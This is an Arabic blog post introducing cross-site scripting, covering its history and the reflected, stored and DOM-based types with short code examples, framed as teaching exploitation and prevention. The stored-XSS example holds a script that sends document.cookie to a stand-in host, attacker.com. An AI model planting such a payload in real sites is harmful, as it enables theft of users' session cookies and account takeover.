ثغرة XSS

موسوعة XSS | مدونة محمد مختار الحسن البكاي

موسوعة ثغرات XSS الشاملة

تصميم متجاوب يعمل على جميع الأجهزة - مدونة محمد مختار الحسن البكاي

مقدمة شاملة عن ثغرات XSS

ثغرات XSS (Cross-Site Scripting) تعتبر من أكثر الثغرات الأمنية انتشارًا في تطبيقات الويب. في هذه الموسوعة الشاملة، سنغطي جميع جوانب هذه الثغرة بدءًا من الأساسيات ووصولًا إلى التقنيات المتقدمة للاستغلال والوقاية.

// مثال أساسي على ثغرة XSS

<script>alert('XSS Vulnerability!');</script>

التطور التاريخي لثغرات XSS

ظهرت أولى حالات XSS في أواخر التسعينيات مع انتشار تطبيقات الويب الديناميكية. على مر السنين، تطورت تقنيات الاستغلال بشكل كبير، مما أدى إلى ظهور أنواع متعددة من هذه الثغرة.

الأنواع الرئيسية لثغرات XSS

1. XSS المنعكس (Reflected XSS)

هذا النوع يحدث عندما يعكس التطبيق مدخلات المستخدم مباشرة في الاستجابة دون التخلص من الأحرف الخطرة أو ترميزها بشكل صحيح.

// مثال على Reflected XSS

http://example.com/search?query=<script>alert(1)</script>

2. XSS المخزن (Stored XSS)

هذا النوع أكثر خطورة حيث يتم تخزين الكود الخبيث في قاعدة البيانات ويتم تنفيذه عند زيارة الصفحة من قبل أي مستخدم.

// مثال على Stored XSS في نموذج تعليق

<script>

  fetch('https://attacker.com/steal?cookie=' + document.cookie);

</script>

3. XSS المستند إلى DOM (DOM-based XSS)

يحدث هذا النوع عندما يقوم JavaScript على جانب العميل بمعالجة البيانات بطريقة غير آمنة.

// مثال على DOM-based XSS

document.write(location.hash.substring(1));

قيم هذه المقالة

غير مقيم
10
20
30
40
50
60
70
80
90
100

ما الذي يمكن تحسينه في هذه المقالة؟

التعليقات

تعليقات

المشاركات الشائعة من هذه المدونة

تعريف عن نفسي

الذكاء الاصطناعي مع اختبار الاختراق المتقدم